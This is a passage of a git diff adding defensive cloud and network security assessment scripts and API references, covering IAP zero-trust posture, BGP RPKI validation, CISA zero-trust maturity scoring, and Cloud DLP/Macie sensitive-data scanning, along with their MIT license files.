+POST `getIamPolicy` and filters for IAP-related role bindings. + +### `assess_zero_trust_posture(project_id, token) -> dict` +Evaluates IAP coverage, binding security, checks for allUsers exposure. + +### `generate_report(project_id, token) -> dict` +Computes zero trust score (0-100) based on findings. + +## Google Cloud APIs Used + +| API | Endpoint | +|-----|----------| +| IAP | `iap.googleapis.com/v1/projects/{id}/iap_tunnel/...` | +| Access Context Manager | `accesscontextmanager.googleapis.com/v1/accessPolicies/...` | +| Resource Manager | `cloudresourcemanager.googleapis.com/v1/projects/{id}:getIamPolicy` | + +## Output Schema + +```json +{ + "project": "my-project", + "posture": {"iap_resources": 5, "findings": []}, + "zero_trust_score": 85 +} +``` diff --git a/skills/implementing-beyondcorp-zero-trust-access-model/scripts/agent.py b/skills/implementing-beyondcorp-zero-trust-access-model/scripts/agent.py new file mode 100644 index 00000000..aa38e608 --- /dev/null +++ b/skills/implementing-beyondcorp-zero-trust-access-model/scripts/agent.py @@ -0,0 +1,130 @@ +#!/usr/bin/env python3 +"""BeyondCorp zero trust access assessment agent using Google Cloud IAP API via requests.""" + +import argparse +import json +import logging +import os +import subprocess +import sys +from datetime import datetime +from typing import Dict, List, Optional + +try: + import requests +except ImportError: + sys.exit("requests required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def get_gcloud_token() -> str: + """Get access token from gcloud CLI.""" + try: + result = subprocess.run( + ["gcloud", "auth", "print-access-token"], capture_output=True, text=True, timeout=10) + return result.stdout.strip() + except FileNotFoundError: + return "" + + +def list_iap_resources(project_id: str, token: str) -> List[dict]: + """List IAP-protected resources in a GCP project.""" + url = f"https://iap.googleapis.com/v1/projects/{project_id}/iap_tunnel/locations/-/destGroups" + resp = requests.get(url, headers={"Authorization": f"Bearer {token}"}, timeout=30) + if resp.status_code == 200: + return resp.json().get("destGroups", []) + return [] + + +def get_iap_settings(project_id: str, resource: str, token: str) -> dict: + """Get IAP settings for a specific resource.""" + url = f"https://iap.googleapis.com/v1/projects/{project_id}/iap_web/compute/services/{resource}:iapSettings" + resp = requests.get(url, headers={"Authorization": f"Bearer {token}"}, timeout=30) + if resp.status_code == 200: + return resp.json() + return {"error": resp.status_code} + + +def list_access_levels(org_id: str, policy_name: str, token: str) -> List[dict]: + """List Access Context Manager access levels.""" + url = f"https://accesscontextmanager.googleapis.com/v1/accessPolicies/{policy_name}/accessLevels" + resp = requests.get(url, headers={"Authorization": f"Bearer {token}"}, timeout=30) + if resp.status_code == 200: + return resp.json().get("accessLevels", []) + return [] + + +def audit_iap_bindings(project_id: str, token: str) -> List[dict]: + """Audit IAM policy bindings for IAP-secured resources.""" + url = f"https://cloudresourcemanager.googleapis.com/v1/projects/{project_id}:getIamPolicy" + resp = requests.post(url, headers={"Authorization": f"Bearer {token}"}, + json={}, timeout=30) + if resp.status_code != 200: + return [] + bindings = resp.json().get("bindings", []) + iap_bindings = [b for b in bindings if "iap" in b.get("role", "").lower()] + return iap_bindings + + +def assess_zero_trust_posture(project_id: str, token: str) -> dict: + """Assess BeyondCorp zero trust posture for a project.""" + iap_resources = list_iap_resources(project_id, token) + iap_bindings = audit_iap_bindings(project_id, token) + findings = [] + if not iap_resources: + findings.append({"severity": "HIGH", "finding": "No IAP-protected resources found"}) + if not iap_bindings: + findings.append({"severity": "HIGH", "finding": "No IAP IAM bindings configured"}) + allUsers = any("allUsers" in str(b.get("members", [])) for b in iap_bindings) + if allUsers: + findings.append({"severity": "CRITICAL", "finding": "IAP binding includes allUsers"}) + return { + "iap_resources": len(iap_resources), + "iap_bindings": len(iap_bindings), + "findings": findings, + } + + +def generate_report(project_id: str, token: str) -> dict: + """Generate BeyondCorp zero trust assessment report.""" + report = { + "analysis_date": datetime.utcnow().isoformat(), + "project": project_id, + "posture": assess_zero_trust_posture(project_id, token), + } + score = 100 + for f in report["posture"]["findings"]: + if f["severity"] == "CRITICAL": + score -= 30 + elif f["severity"] == "HIGH": + score -= 15 + report["zero_trust_score"] = max(0, score) + return report + + +def main(): + parser = argparse.ArgumentParser(description="BeyondCorp Zero Trust Assessment Agent") + parser.add_argument("--project", required=True, help="GCP project ID") + parser.add_argument("--token", default="", help="Access token (or uses gcloud)") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="beyondcorp_report.json") + args = parser.parse_args() + + token = args.token or get_gcloud_token() + if not token: + logger.error("No access token. Run: gcloud auth print-access-token") + sys.exit(1) + + os.makedirs(args.output_dir, exist_ok=True) + report = generate_report(args.project, token) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", out_path) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-bgp-security-with-rpki/LICENSE b/skills/implementing-bgp-security-with-rpki/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-bgp-security-with-rpki/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-bgp-security-with-rpki/references/api-reference.md b/skills/implementing-bgp-security-with-rpki/references/api-reference.md new file mode 100644 index 00000000..888d4d60 --- /dev/null +++ b/skills/implementing-bgp-security-with-rpki/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: BGP RPKI Validation Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP client for RIPEstat and Cloudflare RPKI APIs | + +## CLI Usage + +```bash +python scripts/agent.py \ + --asn AS13335 \ + --prefixes 1.1.1.0/24 104.16.0.0/12 \ + --output-dir /reports/ \ + --output rpki_report.json +``` + +## Functions + +### `validate_prefix_rpki(prefix) -> dict` +Queries RIPEstat `/rpki-validation/data.json` for RPKI status (valid/invalid/unknown). + +### `get_roas_for_asn(asn) -> list` +Queries Cloudflare RPKI `/api/v1/roas` for Route Origin Authorizations. + +### `get_prefix_overview(prefix) -> dict` +Queries RIPEstat `/prefix-overview/data.json` for routing overview. + +### `check_rpki_adoption(asn) -> dict` +Compares announced prefixes against ROA coverage to calculate adoption percentage. + +### `validate_multiple_prefixes(prefixes) -> list` +Batch validates prefixes against RPKI. + +### `generate_report(asn, prefixes) -> dict` +Full report with adoption metrics, per-prefix validation, and recommendations. + +## APIs Used + +| API | Endpoint | +|-----|----------| +| RIPEstat | `stat.ripe.net/data/rpki-validation/data.json` | +| RIPEstat | `stat.ripe.net/data/announced-prefixes/data.json` | +| Cloudflare RPKI | `rpki.cloudflare.com/api/v1/roas` | + +## Output Schema + +```json +{ + "asn": "AS13335", + "adoption": {"announced_prefixes": 500, "roa_covered": 498, "coverage_pct": 99.6}, + "prefix_validation": [{"prefix": "1.1.1.0/24", "status": "valid"}], + "recommendations": ["Create ROAs for 2 uncovered prefixes"] +} +``` diff --git a/skills/implementing-bgp-security-with-rpki/scripts/agent.py b/skills/implementing-bgp-security-with-rpki/scripts/agent.py new file mode 100644 index 00000000..e1eadf74 --- /dev/null +++ b/skills/implementing-bgp-security-with-rpki/scripts/agent.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python3 +"""BGP RPKI validation agent using RIPEstat and Cloudflare RPKI APIs.""" + +import argparse +import json +import logging +import os +import sys +from datetime import datetime +from typing import Dict, List, Optional + +try: + import requests +except ImportError: + sys.exit("requests required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +RIPESTAT_BASE = "https://stat.ripe.net/data" +CLOUDFLARE_RPKI = "https://rpki.cloudflare.com/api/v1" + + +def validate_prefix_rpki(prefix: str) -> dict: + """Validate a prefix against RPKI using RIPEstat.""" + resp = requests.get(f"{RIPESTAT_BASE}/rpki-validation/data.json", + params={"resource": prefix}, timeout=15) + if resp.status_code == 200: + data = resp.json().get("data", {}) + return { + "prefix": prefix, + "status": data.get("status", "unknown"), + "validating_roas": data.get("validating_roas", []), + } + return {"prefix": prefix, "status": "error"} + + +def get_roas_for_asn(asn: str) -> List[dict]: + """Get Route Origin Authorizations for an ASN from Cloudflare RPKI.""" + resp = requests.get(f"{CLOUDFLARE_RPKI}/roas", params={"asn": asn}, timeout=15) + if resp.status_code == 200: + return resp.json().get("roas", []) + return [] + + +def get_prefix_overview(prefix: str) -> dict: + """Get prefix routing overview from RIPEstat.""" + resp = requests.get(f"{RIPESTAT_BASE}/prefix-overview/data.json", + params={"resource": prefix}, timeout=15) + if resp.status_code == 200: + return resp.json().get("data", {}) + return {} + + +def check_rpki_adoption(asn: str) -> dict: + """Check RPKI adoption status for an ASN.""" + roas = get_roas_for_asn(asn) + resp = requests.get(f"{RIPESTAT_BASE}/announced-prefixes/data.json", + params={"resource": asn}, timeout=15) + announced = [] + if resp.status_code == 200: + announced = resp.json().get("data", {}).get("prefixes", []) + roa_prefixes = {r.get("prefix") for r in roas} + announced_prefixes = {p.get("prefix") for p in announced} + covered = announced_prefixes & roa_prefixes + coverage_pct = (len(covered) / len(announced_prefixes) * 100) if announced_prefixes else 0 + return { + "asn": asn, + "announced_prefixes": len(announced_prefixes), + "roa_covered": len(covered), + "uncovered": len(announced_prefixes - roa_prefixes), + "coverage_pct": round(coverage_pct, 1), + "roa_count": len(roas), + } + + +def validate_multiple_prefixes(prefixes: List[str]) -> List[dict]: + """Validate multiple prefixes against RPKI.""" + results = [] + for prefix in prefixes: + result = validate_prefix_rpki(prefix) + results.append(result) + logger.info("RPKI %s: %s", prefix, result.get("status", "unknown")) + return results + + +def generate_report(asn: str, prefixes: List[str]) -> dict: + """Generate RPKI validation report for an ASN and its prefixes.""" + report = {"analysis_date": datetime.utcnow().isoformat(), "asn": asn} + report["adoption"] = check_rpki_adoption(asn) + report["prefix_validation"] = validate_multiple_prefixes(prefixes) + invalid = [p for p in report["prefix_validation"] if p.get("status") == "invalid"] + report["invalid_prefixes"] = invalid + report["recommendations"] = [] + if report["adoption"]["coverage_pct"] < 100: + report["recommendations"].append( + f"Create ROAs for {report['adoption']['uncovered']} uncovered prefixes") + if invalid: + report["recommendations"].append(f"Investigate {len(invalid)} RPKI-invalid prefixes") + return report + + +def main(): + parser = argparse.ArgumentParser(description="BGP RPKI Validation Agent") + parser.add_argument("--asn", required=True, help="AS number (e.g., AS13335)") + parser.add_argument("--prefixes", nargs="*", default=[], help="Prefixes to validate") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="rpki_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + report = generate_report(args.asn, args.prefixes) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", out_path) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-cisa-zero-trust-maturity-model/LICENSE b/skills/implementing-cisa-zero-trust-maturity-model/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-cisa-zero-trust-maturity-model/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-cisa-zero-trust-maturity-model/references/api-reference.md b/skills/implementing-cisa-zero-trust-maturity-model/references/api-reference.md new file mode 100644 index 00000000..01f6f2cf --- /dev/null +++ b/skills/implementing-cisa-zero-trust-maturity-model/references/api-reference.md @@ -0,0 +1,64 @@ +# API Reference: CISA Zero Trust Maturity Model Assessment Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| (stdlib only) | Python 3.8+ | JSON processing, assessment logic | + +## CLI Usage + +```bash +python scripts/agent.py \ + --data /assessments/zt_responses.json \ + --output-dir /reports/ \ + --output ztmm_report.json +``` + +## Functions + +### `assess_control(control, implemented, maturity) -> dict` +Scores a single control: 0 (Traditional) to 3 (Optimal). + +### `assess_pillar(pillar, responses) -> dict` +Evaluates all controls within a CISA ZT pillar. Returns score, percentage, and maturity level. + +### `compute_overall_maturity(pillar_results) -> dict` +Aggregates pillar scores into overall maturity: Traditional/Initial/Advanced/Optimal. + +### `generate_recommendations(pillar_results) -> list` +Identifies unimplemented controls, prioritizes by pillar weakness. + +### `generate_report(data_path) -> dict` +Full assessment pipeline: load data, assess 5 pillars, compute maturity, generate recommendations. + +## CISA ZT Pillars + +| Pillar | Controls Assessed | +|--------|-------------------| +| Identity | MFA, phishing-resistant MFA, JIT access, PAM | +| Devices | Inventory, EDR, health attestation, posture | +| Networks | Microsegmentation, encrypted DNS, SDP | +| Applications | Inventory, access controls, API security | +| Data | Classification, DLP, encryption at rest | + +## Input Data Format + +```json +{ + "Identity": { + "MFA enforced for all users": {"implemented": true, "maturity": "Advanced"}, + "Phishing-resistant MFA (FIDO2/PIV)": {"implemented": false, "maturity": "Traditional"} + } +} +``` + +## Output Schema + +```json +{ + "overall_maturity": {"percentage": 52.3, "maturity_level": "Advanced"}, + "pillars": [{"pillar": "Identity", "percentage": 66.7, "maturity_level": "Advanced"}], + "recommendations": [{"pillar": "Devices", "control": "EDR deployed", "priority": "HIGH"}] +} +``` diff --git a/skills/implementing-cisa-zero-trust-maturity-model/scripts/agent.py b/skills/implementing-cisa-zero-trust-maturity-model/scripts/agent.py new file mode 100644 index 00000000..57a60719 --- /dev/null +++ b/skills/implementing-cisa-zero-trust-maturity-model/scripts/agent.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python3 +"""CISA Zero Trust Maturity Model assessment agent for organizational ZT posture evaluation.""" + +import argparse +import json +import logging +import os +import sys +from datetime import datetime +from typing import Dict, List + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +PILLARS = ["Identity", "Devices", "Networks", "Applications", "Data"] +MATURITY_LEVELS = ["Traditional", "Initial", "Advanced", "Optimal"] +CROSS_CUTTING = ["Visibility & Analytics", "Automation & Orchestration", "Governance"] + +PILLAR_CONTROLS = { + "Identity": [ + "MFA enforced for all users", + "Phishing-resistant MFA (FIDO2/PIV)", + "Continuous identity validation", + "Identity lifecycle management", + "Privileged access management", + "Just-in-time access provisioning", + ], + "Devices": [ + "Device inventory and compliance", + "EDR deployed on all endpoints", + "Device health attestation", + "Real-time posture assessment", + "Automated remediation for non-compliant devices", + ], + "Networks": [ + "Microsegmentation implemented", + "Encrypted DNS (DoH/DoT)", + "Network traffic encrypted in transit", + "Software-defined perimeter", + "Network access based on identity", + ], + "Applications": [ + "Application inventory maintained", + "Application-level access controls", + "Continuous application security testing", + "Secure API gateway", + "Application isolation and sandboxing", + ], + "Data": [ + "Data classification implemented", + "Data loss prevention controls", + "Encryption at rest for sensitive data", + "Data access logging and monitoring", + "Automated data lifecycle management", + ], +} + + +def assess_control(control: str, implemented: bool, maturity: str) -> dict: + """Assess a single control's implementation status and maturity.""" + level_scores = {"Traditional": 0, "Initial": 1, "Advanced": 2, "Optimal": 3} + return { + "control": control, + "implemented": implemented, + "maturity_level": maturity, + "score": level_scores.get(maturity, 0) if implemented else 0, + } + + +def assess_pillar(pillar: str, responses: Dict[str, dict]) -> dict: + """Assess a single CISA ZT pillar based on control responses.""" + controls = PILLAR_CONTROLS.get(pillar, []) + assessed = [] + for control in controls: + resp = responses.get(control, {"implemented": False, "maturity": "Traditional"}) + assessed.append(assess_control(control, resp["implemented"], resp["maturity"])) + max_score = len(controls) * 3 + actual_score = sum(c["score"] for c in assessed) + pct = (actual_score / max_score * 100) if max_score else 0 + implemented_count = sum(1 for c in assessed if c["implemented"]) + if pct >= 75: + level = "Optimal" + elif pct >= 50: + level = "Advanced" + elif pct >= 25: + level = "Initial" + else: + level = "Traditional" + return { + "pillar": pillar, + "controls_assessed": len(assessed), + "controls_implemented": implemented_count, + "score": actual_score, + "max_score": max_score, + "percentage": round(pct, 1), + "maturity_level": level, + "controls": assessed, + } + + +def load_assessment_data(data_path: str) -> dict: + """Load assessment responses from JSON file.""" + with open(data_path, "r") as f: + return json.load(f) + + +def compute_overall_maturity(pillar_results: List[dict]) -> dict: + """Compute overall zero trust maturity from pillar assessments.""" + total_score = sum(p["score"] for p in pillar_results) + total_max = sum(p["max_score"] for p in pillar_results) + pct = (total_score / total_max * 100) if total_max else 0 + if pct >= 75: + level = "Optimal" + elif pct >= 50: + level = "Advanced" + elif pct >= 25: + level = "Initial" + else: + level = "Traditional" + return {"overall_score": total_score, "max_score": total_max, + "percentage": round(pct, 1), "maturity_level": level} + + +def generate_recommendations(pillar_results: List[dict]) -> List[dict]: + """Generate prioritized recommendations based on assessment gaps.""" + recs = [] + for pillar in pillar_results: + for control in pillar["controls"]: + if not control["implemented"]: + recs.append({ + "pillar": pillar["pillar"], + "control": control["control"], + "priority": "HIGH" if pillar["percentage"] < 50 else "MEDIUM", + "action": f"Implement: {control['control']}", + }) + recs.sort(key=lambda r: 0 if r["priority"] == "HIGH" else 1) + return recs + + +def generate_report(data_path: str) -> dict: + """Generate CISA Zero Trust Maturity assessment report.""" + data = load_assessment_data(data_path) + pillar_results = [] + for pillar in PILLARS: + responses = data.get(pillar, {}) + pillar_results.append(assess_pillar(pillar, responses)) + overall = compute_overall_maturity(pillar_results) + recs = generate_recommendations(pillar_results) + return { + "analysis_date": datetime.utcnow().isoformat(), + "framework": "CISA Zero Trust Maturity Model v2.0", + "overall_maturity": overall, + "pillars": pillar_results, + "recommendations": recs[:20], + "recommendation_count": len(recs), + } + + +def main(): + parser = argparse.ArgumentParser(description="CISA Zero Trust Maturity Model Assessment") + parser.add_argument("--data", required=True, help="Path to assessment data JSON") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="ztmm_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + report = generate_report(args.data) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", out_path) + print(json.dumps(report["overall_maturity"], indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-cloud-dlp-for-data-protection/LICENSE b/skills/implementing-cloud-dlp-for-data-protection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-cloud-dlp-for-data-protection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-cloud-dlp-for-data-protection/references/api-reference.md b/skills/implementing-cloud-dlp-for-data-protection/references/api-reference.md new file mode 100644 index 00000000..957be88b --- /dev/null +++ b/skills/implementing-cloud-dlp-for-data-protection/references/api-reference.md @@ -0,0 +1,47 @@ +# API Reference: Implementing Cloud DLP for Data Protection + +## Libraries + +### google-cloud-dlp (Google Cloud DLP) +- **Install**: `pip install google-cloud-dlp` +- **Docs**: https://cloud.google.com/dlp/docs/reference/libraries +- `DlpServiceClient()` -- Create DLP client +- `inspect_content(parent, inspect_config, item)` -- Scan content for sensitive data +- `deidentify_content(parent, deidentify_config, item)` -- Mask/redact sensitive data +- `create_inspect_template()` -- Reusable inspection configuration +- `create_dlp_job()` -- Scan Cloud Storage, BigQuery, Datastore + +### boto3 -- Amazon Macie +- **Install**: `pip install boto3` +- **Docs**: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/macie2.html +- `enable_macie()` -- Enable Macie service +- `create_classification_job()` -- Scan S3 buckets for sensitive data +- `list_findings()` / `get_findings()` -- Retrieve discovery results +- `create_custom_data_identifier()` -- Define custom PII patterns + +## GCP DLP Info Types + +| Category | Info Types | +|----------|-----------| +| PII | PERSON_NAME, EMAIL_ADDRESS, PHONE_NUMBER, DATE_OF_BIRTH | +| Financial | CREDIT_CARD_NUMBER, IBAN_CODE, SWIFT_CODE | +| US-specific | US_SOCIAL_SECURITY_NUMBER, US_DRIVERS_LICENSE_NUMBER | +| Health | US_HEALTHCARE_NPI, MEDICAL_RECORD_NUMBER | + +## De-identification Methods +- `CharacterMaskConfig` -- Replace characters with mask symbol +- `CryptoReplaceFfxFpeConfig` -- Format-preserving encryption +- `RedactConfig` -- Remove sensitive content entirely +- `ReplaceWithInfoTypeConfig` -- Replace with info type name + +## Macie Finding Types +- `SensitiveData:S3Object/Personal` -- PII found +- `SensitiveData:S3Object/Financial` -- Financial data found +- `SensitiveData:S3Object/Credentials` -- Credentials detected +- `Policy:IAMUser/S3BucketPublic` -- Public bucket with sensitive data + +## External References +- GCP DLP API: https://cloud.google.com/dlp/docs +- GCP Info Types: https://cloud.google.com/sensitive-data-protection/docs/infotypes-reference +- Macie User Guide: https://docs.aws.amazon.com/macie/latest/user/what-is-macie.html +- Azure Purview DLP: https://learn.microsoft.com/en-us/purview/dlp-learn-about-dlp diff --git a/skills/implementing-cloud-dlp-for-data-protection/scripts/agent.py b/skills/implementing-cloud-dlp-for-data-protection/scripts/agent.py new file mode 100644 index 00000000..0de76cbd --- /dev/null +++ b/skills/implementing-cloud-dlp-for-data-protection/scripts/agent.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python3 +"""Cloud DLP agent for sensitive data discovery using Google Cloud DLP and AWS Macie.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + boto3 = None + +try: + from google.cloud import dlp_v2 +except ImportError: + dlp_v2 = None + + +INFO_TYPES_PII = [ + "PERSON_NAME", "EMAIL_ADDRESS", "PHONE_NUMBER", "US_SOCIAL_SECURITY_NUMBER", + "CREDIT_CARD_NUMBER", "US_DRIVERS_LICENSE_NUMBER", "DATE_OF_BIRTH", + "STREET_ADDRESS", "IP_ADDRESS", "PASSPORT", +] + +INFO_TYPES_FINANCIAL = [ + "CREDIT_CARD_NUMBER", "IBAN_CODE", "SWIFT_CODE", + "US_BANK_ROUTING_MICR", "US_EMPLOYER_IDENTIFICATION_NUMBER", +] + +INFO_TYPES_HEALTH = [ + "US_HEALTHCARE_NPI", "US_DEA_NUMBER", "MEDICAL_RECORD_NUMBER", +] + + +def scan_text_with_gcp_dlp(project_id, text, info_types=None): + """Scan text content for sensitive data using Google Cloud DLP.""" + if dlp_v2 is None: + print("[!] Install google-cloud-dlp: pip install google-cloud-dlp") + return None + client = dlp_v2.DlpServiceClient() + parent = f"projects/{project_id}" + if info_types is None: + info_types = INFO_TYPES_PII + inspect_config = { + "info_types": [{"name": it} for it in info_types], + "min_likelihood": dlp_v2.Likelihood.LIKELY, + "include_quote": True, + "limits": {"max_findings_per_request": 50}, + } + item = {"value": text} + response = client.inspect_content( + request={"parent": parent, "inspect_config": inspect_config, "item": item}) + findings = [] + for f in response.result.findings: + findings.append({ + "info_type": f.info_type.name, + "likelihood": dlp_v2.Likelihood(f.likelihood).name, + "quote": f.quote[:50] + "..." if len(f.quote) > 50 else f.quote, + "location": {"start": f.location.byte_range.start, "end": f.location.byte_range.end}, + }) + return findings + + +def deidentify_text_with_gcp(project_id, text, info_types=None): + """De-identify sensitive data in text using masking.""" + if dlp_v2 is None: + return None + client = dlp_v2.DlpServiceClient() + parent = f"projects/{project_id}" + if info_types is None: + info_types = INFO_TYPES_PII + deidentify_config = { + "info_type_transformations": { + "transformations": [{ + "primitive_transformation": { + "character_mask_config": {"masking_character": "*", "number_to_mask": 0} + }, + "info_types": [{"name": it} for it in info_types], + }] + } + } + inspect_config = {"info_types": [{"name": it} for it in info_types]} + item = {"value": text} + response = client.deidentify_content( + request={"parent": parent, "deidentify_config": deidentify_config, + "inspect_config": inspect_config, "item": item}) + return response.item.value + + +def enable_macie(region="us-east-1"): + """Enable Amazon Macie for S3 sensitive data discovery.""" + if boto3 is None: + print("[!] Install boto3: pip install boto3") + return None + client = boto3.client("macie2", region_name=region) + try: + client.enable_macie(status="ENABLED", findingPublishingFrequency="FIFTEEN_MINUTES") + return {"status": "enabled"} + except ClientError as e: + if "already enabled" in str(e).lower(): + return {"status": "already_enabled"} + return {"error": str(e)} + + +def create_macie_classification_job(region, bucket_names, job_name): + """Create a Macie classification job to scan S3 buckets.""" + if boto3 is None: + return None + client = boto3.client("macie2", region_name=region) + try: + resp = client.create_classification_job( + jobType="ONE_TIME", name=job_name, + s3JobDefinition={ + "bucketDefinitions": [{"accountId": boto3.client("sts").get_caller_identity()["Account"], + "buckets": bucket_names}] + }, + description=f"DLP scan for sensitive data in {', '.join(bucket_names)}") + return {"job_id": resp["jobId"], "status": "created"} + except ClientError as e: + return {"error": str(e)} + + +def get_macie_findings(region="us-east-1", max_results=50): + """Retrieve Macie findings for sensitive data discoveries.""" + if boto3 is None: + return [] + client = boto3.client("macie2", region_name=region) + try: + resp = client.list_findings( + sortCriteria={"attributeName": "severity.score", "orderBy": "DESC"}, + maxResults=max_results) + finding_ids = resp.get("findingIds", []) + if not finding_ids: + return [] + details = client.get_findings(findingIds=finding_ids) + return [{"id": f["id"], "type": f["type"], "severity": f["severity"]["score"], + "title": f["title"], "bucket": f.get("resourcesAffected", {}).get( + "s3Bucket", {}).get("name", ""), + "count": f.get("count", 1)} + for f in details.get("findings", [])] + except ClientError as e: + return [{"error": str(e)}] + + +def run_dlp_report(project_id=None, region="us-east-1"): + """Generate a DLP discovery report.""" + print(f"\n{'='*60}") + print(f" CLOUD DLP DATA PROTECTION REPORT") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + if boto3: + print(f"--- AWS MACIE STATUS ---") + macie_status = enable_macie(region) + print(f" Macie: {macie_status}") + findings = get_macie_findings(region) + print(f" Findings: {len(findings)}") + for f in findings[:5]: + print(f" [{f.get('severity', 'N/A')}] {f.get('title', 'N/A')} - {f.get('bucket', 'N/A')}") + + if dlp_v2 and project_id: + print(f"\n--- GCP DLP SCAN ---") + sample = "Contact John Doe at john@example.com, SSN 123-45-6789, CC 4111-1111-1111-1111" + findings = scan_text_with_gcp_dlp(project_id, sample) + if findings: + for f in findings: + print(f" [{f['likelihood']}] {f['info_type']}: {f['quote']}") + + print(f"\n{'='*60}\n") + + +def main(): + parser = argparse.ArgumentParser(description="Cloud DLP Data Protection Agent") + parser.add_argument("--gcp-project", help="GCP project ID for DLP API") + parser.add_argument("--aws-region", default="us-east-1", help="AWS region for Macie") + parser.add_argument("--scan-text", help="Text to scan for sensitive data") + parser.add_argument("--scan-buckets", nargs="+", help="S3 bucket names to scan with Macie") + parser.add_argument("--report", action="store_true", help="Generate DLP report") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + if args.scan_text and args.gcp_project: + findings = scan_text_with_gcp_dlp(args.gcp_project, args.scan_text) + print(json.dumps(findings, indent=2)) + elif args.scan_buckets: + result = create_macie_classification_job(args.aws_region, args.scan_buckets, "dlp-agent-scan") + print(json.dumps(result, indent=2)) + elif args.report: + run_dlp_report(args.gcp_project, args.aws_region) + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-cloud-security-posture-management/LICENSE 